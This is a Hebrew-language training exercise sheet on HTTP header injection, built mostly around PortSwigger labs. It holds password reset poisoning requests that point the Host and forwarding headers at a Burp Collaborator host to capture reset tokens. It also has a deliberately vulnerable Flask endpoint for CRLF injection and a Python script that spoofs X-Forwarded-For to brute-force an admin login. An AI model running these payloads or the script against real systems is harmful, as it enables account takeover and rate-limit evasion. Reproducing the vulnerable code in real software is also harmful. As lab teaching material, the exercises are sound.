הזרקת כותרות - תרגיל¶
תרגיל 1 - הרעלת איפוס סיסמה¶
PortSwigger Lab: Basic password reset poisoning
משימות¶
- גשו לאפליקציה ומצאו את פונקציית איפוס הסיסמה
- שלחו בקשת איפוס סיסמה רגילה ובדקו את הבקשה ב-Burp
- שנו את כותרת ה-Host לכתובת Burp Collaborator:
POST /forgot-password HTTP/1.1
Host: YOUR-COLLABORATOR-ID.oastify.com
Content-Type: application/x-www-form-urlencoded
username=carlos
- בדקו ב-Collaborator אם הגיעה בקשה עם ה-token
- השתמשו ב-token כדי לאפס את הסיסמה
תרגיל 2 - הרעלת איפוס סיסמה עם כותרות נוספות¶
PortSwigger Lab: Password reset poisoning via middleware
משימות¶
- גלו ש-Host header רגיל לא עובד
- נסו כותרות חלופיות:
X-Forwarded-Host: YOUR-COLLABORATOR.oastify.com
X-Host: YOUR-COLLABORATOR.oastify.com
X-Forwarded-Server: YOUR-COLLABORATOR.oastify.com
Forwarded: host=YOUR-COLLABORATOR.oastify.com
- מצאו איזו כותרת עובדת
- חלצו את ה-token והשלימו את המעבדה
תרגיל 3 - עקיפת בקרת גישה עם Host Header¶
PortSwigger Lab: Host header authentication bypass
משימות¶
- מצאו פאנל ניהול חסום
- נסו לשנות את ה-Host header ל-localhost:
- אם לא עובד, נסו וריאציות:
- גשו לפאנל הניהול ובצעו את הפעולה הנדרשת
תרגיל 4 - SSRF מבוסס Host Header¶
PortSwigger Lab: Routing-based SSRF
משימות¶
- שלחו בקשה עם Host header שמצביע ל-Collaborator:
- אם קיבלתם בקשה ב-Collaborator - השרת פגיע ל-routing-based SSRF
- סרקו את הרשת הפנימית:
- מצאו שרת פנימי וגשו לפאנל ניהול
תרגיל 5 - CRLF Injection¶
משימות¶
- הקימו שרת מקומי פגיע:
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/set-lang')
def set_lang():
lang = request.args.get('lang', 'en')
resp = make_response('Language set')
resp.headers['X-Language'] = lang # פגיע!
return resp
- נסו להזריק כותרות:
- נסו XSS דרך CRLF:
- תעדו אילו payloads עבדו ולמה
תרגיל 6 - עקיפת WAF עם X-Original-URL¶
PortSwigger Lab: URL-based access control can be circumvented
משימות¶
- גשו ל-
/adminואשרו שמקבלים 403 - נסו לעקוף עם X-Original-URL:
- אם עובד, בצעו את הפעולה הניהולית הנדרשת:
תרגיל 7 - עקיפת Rate Limiting¶
משימות¶
- מצאו טופס התחברות עם הגבלת קצב
- אשרו שאחרי מספר ניסיונות אתם נחסמים
- נסו לעקוף עם X-Forwarded-For:
import requests
url = "http://target.com/login"
passwords = ["password", "123456", "admin", "letmein", "welcome"]
for i, pwd in enumerate(passwords):
headers = {
"X-Forwarded-For": f"10.0.0.{i+1}"
}
data = {
"username": "admin",
"password": pwd
}
response = requests.post(url, data=data, headers=headers)
print(f"[{i}] {pwd}: {response.status_code}")
- אם עובד - הרחיבו לסקריפט brute force מלא עם רשימת סיסמאות
תרגיל 8 - כל מעבדות PortSwigger¶
השלימו את כל המעבדות של PortSwigger בנושא Host Header ו-HTTP Request Smuggling:
מעבדות Host Header¶
- Basic password reset poisoning (Apprentice)
- Host header authentication bypass (Apprentice)
- Web cache poisoning via ambiguous requests (Practitioner)
- Routing-based SSRF (Practitioner)
- SSRF via flawed request parsing (Practitioner)
- Password reset poisoning via middleware (Practitioner)
- Password reset poisoning via dangling markup (Practitioner)
לכל מעבדה תעדו¶
- את הכותרת/טכניקה שעבדה
- את ה-payload המלא
- את התוצאה
אתגר מסכם¶
תרחיש¶
מצאתם אפליקציה עם הנקודות הבאות:
- טופס איפוס סיסמה ב-/forgot-password
- פאנל ניהול חסום ב-/admin
- הגבלת קצב על טופס ההתחברות
משימות¶
- נסו הרעלת איפוס סיסמה - נסו את כל וריאציות ה-Host header
- נסו לגשת לפאנל הניהול עם Host header שונים ו-X-Original-URL
- עקפו את הגבלת הקצב עם X-Forwarded-For
- בצעו brute force על סיסמת admin
- גשו לפאנל הניהול
- כתבו דוח מסכם עם כל הממצאים והמלצות תיקון